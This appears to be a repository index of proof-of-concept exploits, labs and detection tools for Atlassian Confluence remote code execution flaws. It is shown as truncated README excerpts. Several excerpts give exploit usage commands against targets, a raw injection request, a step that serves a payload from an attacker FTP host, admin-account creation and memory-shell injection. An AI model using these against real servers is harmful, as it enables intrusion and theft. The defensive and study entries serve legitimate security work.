Confluence_CVE-2021-26084

ConfluenceCVE-2021-26084 Remote Code Execution on Confluence Servers : CVE-2021-26084 PoC Confluence Possible exploit endpoints https:///login https:///pages/templates2/viewpagetemplate.action https:///template/custom/content-editor https:///templates/editor-preload-container...

CVE-2021-26084

Confluence Server Webwork Pre-Auth OGNL Injection CVE-2021-26084 Confluence is a web-based corporate wiki developed by Australian software company Atlassian. An OGNL injection vulnerability exists that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data...

cve-2022-26134

Atlassian Confluence OGNL Injection POC Vulnerability CVE-2022-26134 arbitrary code execution Usage: pip3 install termcolor python3 exploit.py http://example.com documentation :...

CVE-2022-26134-LAB

CVE-2022-26134-LAB Confluence Server and Confluence Data Center include a significant unauthenticated remote code execution vulnerability identified as CVE-2022-26134, according to a security advisory released by Atlassian on June 2, 2022. The vulnerability was unpatched when it was published on...

BotCon

BotCon Attlasian Confluence Un-Authenticated Remote Code Execution via OGNL Injection CVE-2022-26134 On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server This vulnerability could allow an attacker to take complete control of a vulnerable Confluence server. This could allow the attacker to steal data, modify data, or disrupt the availability of the server. Poc Create a JavaScript file and giv...

cve-2019-3396

cve-2019-3396 Unauthenticated Confluence RCE cve-2019-3396 setup exploit libraries bundle install run ┌──user㉿hostname-/path/to/cve-2019-3396 └─$ ruby cve-2019-3396.rb exploit - CVE-2019-3396 Author - Abdallah Mohamed Elsharif Greetz to Ghost5egy and Hamza Abdulrahman and Omar and Alaa Usage: rub...

CVE-2023-22515

CVE-2023-22515 Exploit Script Affected versions 8.0.0=Atlassian Confluence=8.5.1 Vulnerability Exploitation python3 CVE-2023-22515.py -h usage: confluence.py -h -url URL optional arguments: -h, --help show this help message and exit -url URL url：http://xx.xx.xx.xx...

CVE-2023-22527

CVE-2023-22527 Atlassian Confluence - Remote Code Execution CVE-2023-22527 Poc POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/119.0.6045.159 Safari/537.36 Content-Type:...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 - Confluence Pre-Auth RCE | OGNL injection Install requirements pip3 install -r requirements.txt Run exploit USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python3 exploit.py https://target.com 'ls -la'...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、put the cmd.vm on your website must use ftp or https ,http doesn't work 2、modify RCEexp.py ，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

-CVE-2022-26134

Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severit...

CVE-2022-26134

POC - Atlassian Confluence OGNL Injection Remote Code Execution RCE Vulnerability CVE-2022-26134 Tested on Confluence Version 7.13.6 Setting up environment Clone the repository docker-compose up -d On http://localhost:8090 you shall see confluence up and running. Next, get an evaluation license f...

CVE-2023-22518

CVE-2023-22518 An Exploitation tool to exploit the confluence server that are vulnerable to CVE-2023-22518 Improper Authorization Vulnerability Installation: git clone https://github.com/sanjai-AK47/CVE-2023-22518 cd CVE-2023-22518 python3 exploit.py Usage: python3 exploit.py -h usage: exploit.py...

Exploit-CVE-2023-22515

Exploit CVE-2023-22515 A simple basch script exploit for CVE-2023-22515. Information Confluence Data Center and Server instances have a Broken Access Control Vulnerability CVE-2023-22515, allowing attackers to create unauthorized Confluence administrator accounts and access Confluence instances...

CVE-2023-22527-MEMSHELL

Project Introduction This project references the project of Boogipop at https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL and builds upon it with support for: 1. Injection of Behinder memory shell 2. Added HTTP proxy functionality, usage: -proxy http://127.0.0.1:8080 3. Modified the co...

confluence-hack

Confluence Hack CVE-2023-22515 exploit.py Exploit to create a new admin user Compromised audit log: As a reverence served: https://packetstormsecurity.com/files/175225/Atlassian-Confluence-Unauthenticated-Remote-Code-Execution.html and https://github.com/Chocapikk/CVE-2023-22515 pluginshellplug.j...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 This repository talks about Zero-Day Exploitation of Atlassian Confluence, it's defense and analysis point of view from a SecOps or Blue Team perspective Index About Timeline Understanding the Exploit List of IOCs Detection Strategy Mitigation Plans References About Over...

CVE-2023-22515-NSE

CVE-2023-22515-NSE This repository provides a tool to check for the presence of the CVE-2023-22515 vulnerability in Atlassian Confluence Server using the Nmap Scripting Engine NSE. Overview of CVE-2023-22515 CVE-2023-22515 is a critical vulnerability in Atlassian Confluence Server that allows...

patch-CVE-2026-09881

Patch: CVE-2026-09881 Vulnerability Details CVE : CVE-2026-09881 Product : Atlassian Confluence Description : Template injection RCE Severity : High Patch Status: DEPLOYED Field| Value ---|--- Patch Date| 2026-04-01 Status| deployed Deployed To| Production Validated By| SecOps Team References NVD...